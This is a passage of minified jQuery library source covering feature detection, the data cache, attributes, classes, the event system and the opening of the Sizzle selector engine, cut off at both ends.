type='checkbox'/>",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="<table><tr><td></td><td>t</td></tr></table>",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="<div></div>",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i<s;i++)delete r[t[i]];if(!(n?B:v.isEmptyObject)(r))return}}if(!n){delete u[a].data;if(!B(u[a]))return}o?v.cleanData([e],!0):v.support.deleteExpando||u!=u.window?delete u[a]:u[a]=null},_data:function(e,t,n){return v.data(e,t,n,!0)},acceptData:function(e){var t=e.nodeName&&v.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),v.fn.extend({data:function(e,n){var r,i,s,o,u,a=this[0],f=0,l=null;if(e===t){if(this.length){l=v.data(a);if(a.nodeType===1&&!v._data(a,"parsedAttrs")){s=a.attributes;for(u=s.length;f<u;f++)o=s[f].name,o.indexOf("data-")||(o=v.camelCase(o.substring(5)),H(a,o,l[o]));v._data(a,"parsedAttrs",!0)}}return l}return typeof e=="object"?this.each(function(){v.data(this,e)}):(r=e.split(".",2),r[1]=r[1]?"."+r[1]:"",i=r[1]+"!",v.access(this,function(n){if(n===t)return l=this.triggerHandler("getData"+i,[r[0]]),l===t&&a&&(l=v.data(a,e),l=H(a,e,l)),l===t&&r[1]?this.data(r[0]):l;r[1]=n,this.each(function(){var t=v(this);t.triggerHandler("setData"+i,r),v.data(this,e,n),t.triggerHandler("changeData"+i,r)})},null,n,arguments.length>1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length<r?v.queue(this[0],e):n===t?this:this.each(function(){var t=v.queue(this,e,n);v._queueHooks(this,e),e==="fx"&&t[0]!=="inprogress"&&v.dequeue(this,e)})},dequeue:function(e){return this.each(function(){v.dequeue(this,e)})},delay:function(e,t){return e=v.fx?v.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,s=v.Deferred(),o=this,u=this.length,a=function(){--i||s.resolveWith(o,[o])};typeof e!="string"&&(n=e,e=t),e=e||"fx";while(u--)r=v._data(o[u],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(a));return a(),s.promise(n)}});var j,F,I,q=/[\t\r\n]/g,R=/\r/g,U=/^(?:button|input)$/i,z=/^(?:button|input|object|select|textarea)$/i,W=/^a(?:rea|)$/i,X=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,V=v.support.getSetAttribute;v.fn.extend({attr:function(e,t){return v.access(this,v.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n<r;n++){i=this[n];if(i.nodeType===1)if(!i.className&&t.length===1)i.className=e;else{s=" "+i.className+" ";for(o=0,u=t.length;o<u;o++)s.indexOf(" "+t[o]+" ")<0&&(s+=t[o]+" ");i.className=v.trim(s)}}}return this},removeClass:function(e){var n,r,i,s,o,u,a;if(v.isFunction(e))return this.each(function(t){v(this).removeClass(e.call(this,t,this.className))});if(e&&typeof e=="string"||e===t){n=(e||"").split(y);for(u=0,a=this.length;u<a;u++){i=this[u];if(i.nodeType===1&&i.className){r=(" "+i.className+" ").replace(q," ");for(s=0,o=n.length;s<o;s++)while(r.indexOf(" "+n[s]+" ")>=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n<r;n++)if(this[n].nodeType===1&&(" "+this[n].className+" ").replace(q," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a<u;a++){n=r[a];if((n.selected||a===i)&&(v.support.optDisabled?!n.disabled:n.getAttribute("disabled")===null)&&(!n.parentNode.disabled||!v.nodeName(n.parentNode,"optgroup"))){t=v(n).val();if(s)return t;o.push(t)}}return o},set:function(e,t){var n=v.makeArray(t);return v(e).find("option").each(function(){this.selected=v.inArray(v(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o<r.length;o++)i=r[o],i&&(n=v.propFix[i]||i,s=X.test(i),s||v.attr(e,i,""),e.removeAttribute(V?i:n),s&&n in e&&(e[n]=!1))}},attrHooks:{type:{set:function(e,t){if(U.test(e.nodeName)&&e.parentNode)v.error("type property can't be changed");else if(!v.support.radioValue&&t==="radio"&&v.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return j&&v.nodeName(e,"button")?j.get(e,t):t in e?e.value:null},set:function(e,t,n){if(j&&v.nodeName(e,"button"))return j.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,s,o,u=e.nodeType;if(!e||u===3||u===8||u===2)return;return o=u!==1||!v.isXMLDoc(e),o&&(n=v.propFix[n]||n,s=v.propHooks[n]),r!==t?s&&"set"in s&&(i=s.set(e,r,n))!==t?i:e[n]=r:s&&"get"in s&&(i=s.get(e,n))!==null?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):z.test(e.nodeName)||W.test(e.nodeName)&&e.href?0:t}}}}),F={get:function(e,n){var r,i=v.prop(e,n);return i===!0||typeof i!="boolean"&&(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V||(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&(I[n]?r.value!=="":r.specified)?r.value:t},set:function(e,t,n){var r=e.getAttributeNode(n);return r||(r=i.createAttribute(n),e.setAttributeNode(r)),r.value=t+""}},v.each(["width","height"],function(e,t){v.attrHooks[t]=v.extend(v.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})}),v.attrHooks.contenteditable={get:j.get,set:function(e,t,n){t===""&&(t="false"),j.set(e,t,n)}}),v.support.hrefNormalized||v.each(["href","src","width","height"],function(e,n){v.attrHooks[n]=v.extend(v.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),v.support.style||(v.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=t+""}}),v.support.optSelected||(v.propHooks.selected=v.extend(v.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),v.support.enctype||(v.propFix.enctype="encoding"),v.support.checkOn||v.each(["radio","checkbox"],function(){v.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),v.each(["radio","checkbox"],function(){v.valHooks[this]=v.extend(v.valHooks[this],{set:function(e,t){if(v.isArray(t))return e.checked=v.inArray(v(e).val(),t)>=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f<n.length;f++){l=J.exec(n[f])||[],c=l[1],h=(l[2]||"").split(".").sort(),g=v.event.special[c]||{},c=(s?g.delegateType:g.bindType)||c,g=v.event.special[c]||{},p=v.extend({type:c,origType:l[1],data:i,handler:r,guid:r.guid,selector:s,needsContext:s&&v.expr.match.needsContext.test(s),namespace:h.join(".")},d),m=a[c];if(!m){m=a[c]=[],m.delegateCount=0;if(!g.setup||g.setup.call(e,i,h,u)===!1)e.addEventListener?e.addEventListener(c,u,!1):e.attachEvent&&e.attachEvent("on"+c,u)}g.add&&(g.add.call(e,p),p.handler.guid||(p.handler.guid=r.guid)),s?m.splice(m.delegateCount++,0,p):m.push(p),v.event.global[c]=!0}e=null},global:{},remove:function(e,t,n,r,i){var s,o,u,a,f,l,c,h,p,d,m,g=v.hasData(e)&&v._data(e);if(!g||!(h=g.events))return;t=v.trim(Z(t||"")).split(" ");for(s=0;s<t.length;s++){o=J.exec(t[s])||[],u=a=o[1],f=o[2];if(!u){for(u in h)v.event.remove(e,u+t[s],n,r,!0);continue}p=v.event.special[u]||{},u=(r?p.delegateType:p.bindType)||u,d=h[u]||[],l=d.length,f=f?new RegExp("(^|\\.)"+f.split(".").sort().join("\\.(?:.*\\.|)")+"(\\.|$)"):null;for(c=0;c<d.length;c++)m=d[c],(i||a===m.origType)&&(!n||n.guid===m.guid)&&(!f||f.test(m.namespace))&&(!r||r===m.selector||r==="**"&&m.selector)&&(d.splice(c--,1),m.selector&&d.delegateCount--,p.remove&&p.remove.call(e,m));d.length===0&&l!==d.length&&((!p.teardown||p.teardown.call(e,f,g.handle)===!1)&&v.removeEvent(e,u,g.handle),delete h[u])}v.isEmptyObject(h)&&(delete g.handle,v.removeData(e,"events",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(n,r,s,o){if(!s||s.nodeType!==3&&s.nodeType!==8){var u,a,f,l,c,h,p,d,m,g,y=n.type||n,b=[];if(Y.test(y+v.event.triggered))return;y.indexOf("!")>=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f<m.length&&!n.isPropagationStopped();f++)l=m[f][0],n.type=m[f][1],d=(v._data(l,"events")||{})[n.type]&&v._data(l,"handle"),d&&d.apply(l,r),d=h&&l[h],d&&v.acceptData(l)&&d.apply&&d.apply(l,r)===!1&&n.preventDefault();return n.type=y,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(s.ownerDocument,r)===!1)&&(y!=="click"||!v.nodeName(s,"a"))&&v.acceptData(s)&&h&&s[y]&&(y!=="focus"&&y!=="blur"||n.target.offsetWidth!==0)&&!v.isWindow(s)&&(c=s[h],c&&(s[h]=null),v.event.triggered=y,s[y](),v.event.triggered=t,c&&(s[h]=c)),n.result}return},dispatch:function(n){n=v.event.fix(n||e.event);var r,i,s,o,u,a,f,c,h,p,d=(v._data(this,"events")||{})[n.type]||[],m=d.delegateCount,g=l.call(arguments),y=!n.exclusive&&!n.namespace,b=v.event.special[n.type]||{},w=[];g[0]=n,n.delegateTarget=this;if(b.preDispatch&&b.preDispatch.call(this,n)===!1)return;if(m&&(!n.button||n.type!=="click"))for(s=n.target;s!=this;s=s.parentNode||this)if(s.disabled!==!0||n.type!=="click"){u={},f=[];for(r=0;r<m;r++)c=d[r],h=c.selector,u[h]===t&&(u[h]=c.needsContext?v(h,this).index(s)>=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r<w.length&&!n.isPropagationStopped();r++){a=w[r],n.currentTarget=a.elem;for(i=0;i<a.matches.length&&!n.isImmediatePropagationStopped();i++){c=a.matches[i];if(y||!n.namespace&&!c.namespace||n.namespace_re&&n.namespace_re.test(c.namespace))n.data=c.data,n.handleObj=c,o=((v.event.special[c.origType]||{}).handle||c.handler).apply(a.elem,g),o!==t&&(n.result=o,o===!1&&(n.preventDefault(),n.stopPropagation()))}}return b.postDispatch&&b.postDispatch.call(this,n),n.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return e.which==null&&(e.which=t.charCode!=null?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,s,o,u=n.button,a=n.fromElement;return e.pageX==null&&n.clientX!=null&&(r=e.target.ownerDocument||i,s=r.documentElement,o=r.body,e.pageX=n.clientX+(s&&s.scrollLeft||o&&o.scrollLeft||0)-(s&&s.clientLeft||o&&o.clientLeft||0),e.pageY=n.clientY+(s&&s.scrollTop||o&&o.scrollTop||0)-(s&&s.clientTop||o&&o.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?n.toElement:a),!e.which&&u!==t&&(e.which=u&1?1:u&2?3:u&4?2:0),e}},fix:function(e){if(e[v.expando])return e;var t,n,r=e,s=v.event.fixHooks[e.type]||{},o=s.props?this.props.concat(s.props):this.props;e=v.Event(r);for(t=o.length;t;)n=o[--t],e[n]=r[n];return e.target||(e.target=r.srcElement||i),e.target.nodeType===3&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,r):e},special:{load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(e,t,n){v.isWindow(this)&&(this.onbeforeunload=n)},teardown:function(e,t){this.onbeforeunload===t&&(this.onbeforeunload=null)}}},simulate:function(e,t,n,r){var i=v.extend(new v.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?v.event.trigger(i,null,t):v.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},v.event.handle=v.event.dispatch,v.removeEvent=i.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]=="undefined"&&(e[r]=null),e.detachEvent(r,n))},v.Event=function(e,t){if(!(this instanceof v.Event))return new v.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?tt:et):this.type=e,t&&v.extend(this,t),this.timeStamp=e&&e.timeStamp||v.now(),this[v.expando]=!0},v.Event.prototype={preventDefault:function(){this.isDefaultPrevented=tt;var e=this.originalEvent;if(!e)return;e.preventDefault?e.preventDefault():e.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=tt;var e=this.originalEvent;if(!e)return;e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=tt,this.stopPropagation()},isDefaultPrevented:et,isPropagationStopped:et,isImmediatePropagationStopped:et},v.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){v.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj,o=s.selector;if(!i||i!==r&&!v.contains(r,i))e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t;return n}}}),v.support.submitBubbles||(v.event.special.submit={setup:function(){if(v.nodeName(this,"form"))return!1;v.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=v.nodeName(n,"input")||v.nodeName(n,"button")?n.form:t;r&&!v._data(r,"_submit_attached")&&(v.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),v._data(r,"_submit_attached",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&v.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){if(v.nodeName(this,"form"))return!1;v.event.remove(this,"._submit")}}),v.support.changeBubbles||(v.event.special.change={setup:function(){if($.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")v.event.add(this,"propertychange._change",function(e){e.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),v.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),v.event.simulate("change",this,e,!0)});return!1}v.event.add(this,"beforeactivate._change",function(e){var t=e.target;$.test(t.nodeName)&&!v._data(t,"_change_attached")&&(v.event.add(t,"change._change",function(e){this.parentNode&&!e.isSimulated&&!e.isTrigger&&v.event.simulate("change",this.parentNode,e,!0)}),v._data(t,"_change_attached",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||t.type!=="radio"&&t.type!=="checkbox")return e.handleObj.handler.apply(this,arguments)},teardown:function(){return v.event.remove(this,"._change"),!$.test(this.nodeName)}}),v.support.focusinBubbles||v.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){v.event.simulate(t,e.target,v.event.fix(e),!0)};v.event.special[t]={setup:function(){n++===0&&i.addEventListener(e,r,!0)},teardown:function(){--n===0&&i.removeEventListener(e,r,!0)}}}),v.fn.extend({on:function(e,n,r,i,s){var o,u;if(typeof e=="object"){typeof n!="string"&&(r=r||n,n=t);for(u in e)this.on(u,n,r,e[u],s);return this}r==null&&i==null?(i=n,r=n=t):i==null&&(typeof n=="string"?(i=r,r=t):(i=r,r=n,n=t));if(i===!1)i=et;else if(!i)return this;return s===1&&(o=i,i=function(e){return v().off(e),o.apply(this,arguments)},i.guid=o.guid||(o.guid=v.guid++)),this.each(function(){v.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,s;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,v(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if(typeof e=="object"){for(s in e)this.off(s,n,e[s]);return this}if(n===!1||typeof n=="function")r=n,n=t;return r===!1&&(r=et),this.each(function(){v.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},live:function(e,t,n){return v(this.context).on(e,this.selector,t,n),this},die:function(e,t){return v(this.context).off(e,this.selector||"**",t),this},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return arguments.length===1?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){v.event.trigger(e,t,this)})},triggerHandler:function(e,t){if(this[0])return v.event.trigger(e,t,this[0],!0)},toggle:function(e){var t=arguments,n=e.guid||v.guid++,r=0,i=function(n){var i=(v._data(this,"lastToggle"+e.guid)||0)%r;return v._data(this,"lastToggle"+e.guid,i+1),n.preventDefault(),t[i].apply(this,arguments)||!1};i.guid=n;while(r<t.length)t[r++].guid=n;return this.click(i)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),v.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){v.fn[t]=function(e,n){return n==null&&(n=e,e=null),arguments.length>0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in 